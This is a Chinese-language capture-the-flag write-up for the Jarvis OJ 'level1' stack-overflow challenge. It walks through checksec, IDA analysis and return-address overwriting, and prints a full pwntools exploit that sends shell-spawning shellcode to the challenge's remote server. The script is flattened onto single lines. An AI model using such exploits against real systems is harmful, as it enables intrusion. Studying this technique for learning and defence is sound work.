ret2shellcode
題目是在jarvis OJ上的

題目鏈接:https://dn.jarvisoj.com/challengefiles/level1.80eacdcd51aca92af7749d96efad7fb5
一道非常典型的shellcode題,話不多說,直接開整
首先我們還是先要nc一下,看一下出題人給我們整了什么活

嗯?給了一個地址,沒有其他資訊了
那么我么用pwntools的checksec查看一下開啟了哪些保護,可以看到沒有開啟NX保護,大致可以猜到可以利用shellcode來獲取flag

根據流程,接下來放到ida里查看偽代碼:
發現一個vulnerable_function() 翻譯過來就是漏洞函式

到這里也很容易看出開始nc時得到的記憶體地址就是buf的地址,所以思路就來了,只要可以獲取這段地址,插入shellcode,覆寫掉函式的回傳地址,就可以成功pwn掉,

點開buf,也可以看到buf的大小是0x88+0x04(32位+4 64位+8)


關于為什么是要覆寫掉函式的回傳地址,可以看這張圖,前提是對函式呼叫時的堆疊內變化有所了解,

如果看不懂的話建議還是先學習一下函式呼叫堆疊,推薦教程 https://zhuanlan.zhihu.com/p/25816426 寫的很棒,(我也看的不是很懂,一起學吧
下面我們來構造exp:
首先分析一下,這個程式是會輸出buf的地址的,所以我們要先接受這個地址,這就可以用到我們的pwntools的函式recvuntil()

解釋一下,開始先把%p之前的多余字符吸收掉,不用管,然后用 索引取值,取出地址(skrskrskr~)
接下來我們構造payload:
shellcode = asm(shellcraft.sh())
payload = shellcode + 'a' * (0x88 + 0x4 - len(shellcode)) + p32(之前獲得的地址)
完整版exp:
from pwn import *
debug = 0 if debug: a = process('./level1.80eacdcd51aca92af7749d96efad7fb5') else: a = remote('pwn2.jarvisoj.com',9877) shellcode = asm(shellcraft.sh()) a.recvuntil("What's this:") addr_buf = int(a.recvuntil("?")[:-1],16) payload = shellcode + 'a' * (0x88 + 0x4 - len(shellcode)) + p32(addr_buf)
a.sendline(payload) a.interactive()
運行腳本:

記錄日期:2020-07-06 21:10:48
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/2010.html
標籤:其他
下一篇:網路安全服務人才發展路線圖
